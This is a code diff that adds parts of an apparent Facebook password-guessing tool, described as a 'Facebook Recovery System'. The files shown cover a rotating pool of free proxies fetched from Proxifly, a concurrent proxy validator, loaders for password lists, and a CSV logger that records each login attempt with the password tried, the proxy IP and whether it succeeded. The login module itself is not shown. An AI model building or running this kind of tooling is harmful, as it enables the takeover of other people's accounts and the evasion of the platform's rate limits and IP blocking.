for proxy_str in proxy_strings:
if proxy_str and proxy_str not in self._all_valid:
self._all_valid.append(proxy_str)
self._queue.put_nowait(proxy_str)
self._queued.add(proxy_str)
added += 1
self.total_valid = len(self._all_valid)
return added
def fetch_and_validate(self, target_count: int = 500) -> int:
"""
Fetch proxies from Proxifly and validate them.
Returns the number of valid proxies found.
"""
logger.info(f"Fetching up to {target_count} proxies...")
# Fetch
proxy_strings = self._fetcher.fetch_as_strings(target_count)
self.total_fetched = len(proxy_strings)
logger.info(f"Fetched {len(proxy_strings)} proxies, now validating...")
# Validate
results = self._validator.test_batch_sync(proxy_strings, concurrency=50)
valid = [r for r in results if r.is_valid]
with self._lock:
self._all_valid = [r.proxy_string for r in valid]
self.total_valid = len(valid)
# Refill the queue
self._queue = queue.Queue()
self._queued = set()
for proxy_str in self._all_valid:
self._queue.put_nowait(proxy_str)
self._queued.add(proxy_str)
logger.info(f"Validation complete: {len(valid)}/{len(proxy_strings)} proxies valid")
return len(valid)
def get_proxy(self) -> Optional[str]:
"""
Get the next available proxy from the pool.
Returns None if pool is empty.
"""
try:
proxy = self._queue.get_nowait()
with self._lock:
self._queued.discard(proxy)
self._used.add(proxy)
self.total_used += 1
# Auto-refresh if pool is running low
if self._queue.qsize() < self.min_pool_size:
self._trigger_refresh()
return proxy
except queue.Empty:
# Pool is empty, try to refresh
logger.warning("Proxy pool empty, triggering refresh...")
self._trigger_refresh()
try:
proxy = self._queue.get_nowait()
with self._lock:
self._queued.discard(proxy)
self._used.add(proxy)
self.total_used += 1
return proxy
except queue.Empty:
return None
def return_proxy(self, proxy_string: str):
"""Return a proxy to the pool (e.g., if it failed but might work later)."""
if not proxy_string:
return
with self._lock:
if proxy_string not in self._all_valid:
return
self._used.discard(proxy_string)
if proxy_string in self._queued:
return
self._queue.put_nowait(proxy_string)
self._queued.add(proxy_string)
def mark_dead(self, proxy_string: str):
"""Remove a bad proxy from future rotations."""
if not proxy_string:
return
with self._lock:
self._used.discard(proxy_string)
self._queued.discard(proxy_string)
if proxy_string in self._all_valid:
self._all_valid.remove(proxy_string)
self.total_valid = len(self._all_valid)
def _trigger_refresh(self):
"""Trigger a background refresh if enough time has passed."""
now = time.time()
if now - self._last_refresh > self.refresh_interval:
self._last_refresh = now
if not self._running:
self._running = True
self._refresh_thread = threading.Thread(target=self._refresh_worker, daemon=True)
self._refresh_thread.start()
def _refresh_worker(self):
"""Background worker to refresh the proxy pool."""
try:
logger.info("Background proxy refresh started...")
new_proxies = self._fetcher.fetch_as_strings(300)
results = self._validator.test_batch_sync(new_proxies, concurrency=50)
valid = [r.proxy_string for r in results if r.is_valid]
with self._lock:
# Add new valid proxies to the pool
for p in valid:
if p not in self._used and p not in self._all_valid:
self._queue.put_nowait(p)
self._queued.add(p)
self._all_valid.append(p)
self.total_valid = len(self._all_valid)
logger.info(f"Background refresh added {len(valid)} proxies")
except Exception as e:
logger.error(f"Background refresh failed: {e}")
finally:
self._running = False
@property
def available_count(self) -> int:
"""Number of proxies currently available in the queue."""
return self._queue.qsize()
@property
def stats(self) -> dict:
"""Get pool statistics."""
with self._lock:
return {
"available": self._queue.qsize(),
"total_valid": self.total_valid,
"total_fetched": self.total_fetched,
"total_used": self.total_used,
"all_valid_count": len(self._all_valid),
}

135
src/proxy/validator.py Normal file
View File

@@ -0,0 +1,135 @@
"""
Proxy validator — tests proxies for connectivity, speed, and anonymity.
"""
import asyncio
import logging
import time
from dataclasses import dataclass
from typing import List, Optional, Tuple
import aiohttp
from aiohttp_socks import ProxyConnector
from config import PROXY_TEST_URL, PROXY_TEST_TIMEOUT
logger = logging.getLogger(__name__)
@dataclass
class ProxyTestResult:
"""Result of a proxy test."""
proxy_string: str
ip: str
port: int
protocol: str
is_valid: bool
response_time_ms: float
error: Optional[str] = None
class ProxyValidator:
"""Validates proxies by testing connectivity and measuring speed."""
def __init__(self, test_url: str = PROXY_TEST_URL, timeout: int = PROXY_TEST_TIMEOUT):
self.test_url = test_url
self.timeout = timeout
async def test_single_proxy(self, proxy_string: str) -> ProxyTestResult:
"""
Test a single proxy by making a request through it.
proxy_string format: "protocol://ip:port"
"""
# Parse proxy string
try:
protocol, rest = proxy_string.split("://", 1)
ip, port_str = rest.rsplit(":", 1)
port = int(port_str)
except (ValueError, AttributeError):
return ProxyTestResult(
proxy_string=proxy_string, ip="", port=0,
protocol="", is_valid=False,
response_time_ms=0, error="Invalid format"
)
start_time = time.time()
try:
# Create proxy connector
connector = ProxyConnector.from_url(proxy_string)
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get(
self.test_url,
timeout=aiohttp.ClientTimeout(total=self.timeout),
headers={"User-Agent": "Mozilla/5.0"},
) as resp:
elapsed = (time.time() - start_time) * 1000
if resp.status == 200:
return ProxyTestResult(
proxy_string=proxy_string,
ip=ip, port=port, protocol=protocol,
is_valid=True,
response_time_ms=round(elapsed, 1),
)
else:
return ProxyTestResult(
proxy_string=proxy_string,
ip=ip, port=port, protocol=protocol,
is_valid=False,
response_time_ms=round(elapsed, 1),
error=f"HTTP {resp.status}",
)
except asyncio.TimeoutError:
elapsed = (time.time() - start_time) * 1000
return ProxyTestResult(
proxy_string=proxy_string,
ip=ip, port=port, protocol=protocol,
is_valid=False,
response_time_ms=round(elapsed, 1),
error="Timeout",
)
except Exception as e:
elapsed = (time.time() - start_time) * 1000
return ProxyTestResult(
proxy_string=proxy_string,
ip=ip, port=port, protocol=protocol,
is_valid=False,
response_time_ms=round(elapsed, 1),
error=str(e)[:100],
)
async def test_batch(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]:
"""
Test multiple proxies concurrently.
Returns results sorted by speed (fastest first).
"""
semaphore = asyncio.Semaphore(concurrency)
async def test_with_semaphore(proxy_str: str) -> ProxyTestResult:
async with semaphore:
return await self.test_single_proxy(proxy_str)
tasks = [test_with_semaphore(ps) for ps in proxy_strings]
results = await asyncio.gather(*tasks)
# Sort: valid proxies first (by speed), then invalid
valid = [r for r in results if r.is_valid]
invalid = [r for r in results if not r.is_valid]
valid.sort(key=lambda r: r.response_time_ms)
return valid + invalid
def test_batch_sync(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]:
"""Synchronous wrapper for batch testing."""
return asyncio.run(self.test_batch(proxy_strings, concurrency))
def get_valid_proxy_strings(self, proxy_strings: List[str], concurrency: int = 50) -> List[str]:
"""Test proxies and return only valid ones as strings."""
results = self.test_batch_sync(proxy_strings, concurrency)
return [r.proxy_string for r in results if r.is_valid]
def get_fastest_proxies(self, proxy_strings: List[str], count: int = 100, concurrency: int = 50) -> List[str]:
"""Get the fastest N valid proxies."""
results = self.test_batch_sync(proxy_strings, concurrency)
valid = [r for r in results if r.is_valid]
valid.sort(key=lambda r: r.response_time_ms)
return [r.proxy_string for r in valid[:count]]

0
src/utils/__init__.py Normal file
View File

59
src/utils/file_io.py Normal file
View File

@@ -0,0 +1,59 @@
"""
File I/O utilities for reading/writing password lists and proxy lists.
"""
from pathlib import Path
from typing import List, Optional
from config import PASSWORDS_FILE, PROXIES_FILE, VALID_PROXIES_FILE
def save_passwords(passwords: List[str], filepath: Optional[Path] = None, append: bool = True):
"""Save password list to file. Appends by default."""
path = filepath or PASSWORDS_FILE
mode = "a" if append else "w"
with open(path, mode, encoding="utf-8") as f:
for pwd in passwords:
f.write(pwd + "\n")
def load_passwords(filepath: Optional[Path] = None) -> List[str]:
"""Load passwords from file, stripping whitespace and removing empties."""
path = filepath or PASSWORDS_FILE
if not path.exists():
return []
with open(path, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
def save_proxies(proxies: List[str], filepath: Optional[Path] = None):
"""Save proxy list to file."""
path = filepath or PROXIES_FILE
with open(path, "w", encoding="utf-8") as f:
for proxy in proxies:
f.write(proxy + "\n")
def load_proxies(filepath: Optional[Path] = None) -> List[str]:
"""Load proxies from file."""
path = filepath or PROXIES_FILE
if not path.exists():
return []
with open(path, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
def save_valid_proxies(proxies: List[str]):
"""Save validated proxies to their dedicated file."""
save_proxies(proxies, VALID_PROXIES_FILE)
def load_valid_proxies() -> List[str]:
"""Load validated proxies."""
return load_proxies(VALID_PROXIES_FILE)
def count_lines(filepath: Path) -> int:
"""Count non-empty lines in a file."""
if not filepath.exists():
return 0
with open(filepath, "r", encoding="utf-8") as f:
return sum(1 for line in f if line.strip())

116
src/utils/logger.py Normal file
View File

@@ -0,0 +1,116 @@
"""
Structured logging for the Facebook Recovery System.
Provides both file logging and in-memory log capture for the GUI.
"""
import csv
import logging
import threading
from datetime import datetime
from pathlib import Path
from typing import Optional
from config import ATTEMPT_LOG_FILE
class AttemptLogger:
"""Logs each login attempt to CSV and maintains an in-memory buffer for the GUI."""
def __init__(self, log_path: Optional[Path] = None):
self.log_path = log_path or ATTEMPT_LOG_FILE
self.buffer = [] # In-memory list of log entries for GUI display
self._lock = threading.Lock()
self._init_csv()
def _init_csv(self):
"""Create CSV with headers if it doesn't exist."""
if not self.log_path.exists():
self.log_path.parent.mkdir(parents=True, exist_ok=True)
with open(self.log_path, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow([
"timestamp", "password", "proxy_ip", "proxy_port",
"proxy_protocol", "status_code", "result", "response_time_ms",
"message",
])
def log_attempt(
self,
password: str,
proxy_ip: str,
proxy_port: int,
proxy_protocol: str,
status_code: int,
result: str,
response_time_ms: float,
message: str = "",
):
"""Log a single attempt."""
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
entry = {
"timestamp": timestamp,
"password": password,
"proxy_ip": proxy_ip,
"proxy_port": proxy_port,
"proxy_protocol": proxy_protocol,
"status_code": status_code,
"result": result,
"response_time_ms": f"{response_time_ms:.1f}",
"message": message,
}
with self._lock:
# Write to CSV
with open(self.log_path, "a", newline="") as f:
writer = csv.DictWriter(f, fieldnames=entry.keys())
writer.writerow(entry)
# Keep in memory buffer (limit to last 10000 for performance)
self.buffer.append(entry)
if len(self.buffer) > 10000:
self.buffer = self.buffer[-5000:]
def get_recent(self, count: int = 100) -> list:
"""Get the most recent log entries."""
with self._lock:
return self.buffer[-count:]
def get_stats(self) -> dict:
"""Get aggregate statistics from the log."""
with self._lock:
total = len(self.buffer)
successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS")
failures = total - successes
return {
"total": total,
"successes": successes,
"failures": failures,
}
class FileLogger:
"""General purpose file logger for system events."""
def __init__(self, name: str = "facebook_recovery"):
self.logger = logging.getLogger(name)
self.logger.setLevel(logging.DEBUG)
# Guard against adding duplicate handlers when re-instantiated
if not self.logger.handlers:
ch = logging.StreamHandler()
ch.setLevel(logging.INFO)
formatter = logging.Formatter(
"[%(asctime)s] %(levelname)s: %(message)s",
datefmt="%H:%M:%S"
)
ch.setFormatter(formatter)
self.logger.addHandler(ch)
def info(self, msg: str):
self.logger.info(msg)
def debug(self, msg: str):
self.logger.debug(msg)
def warning(self, msg: str):
self.logger.warning(msg)
def error(self, msg: str):
self.logger.error(msg)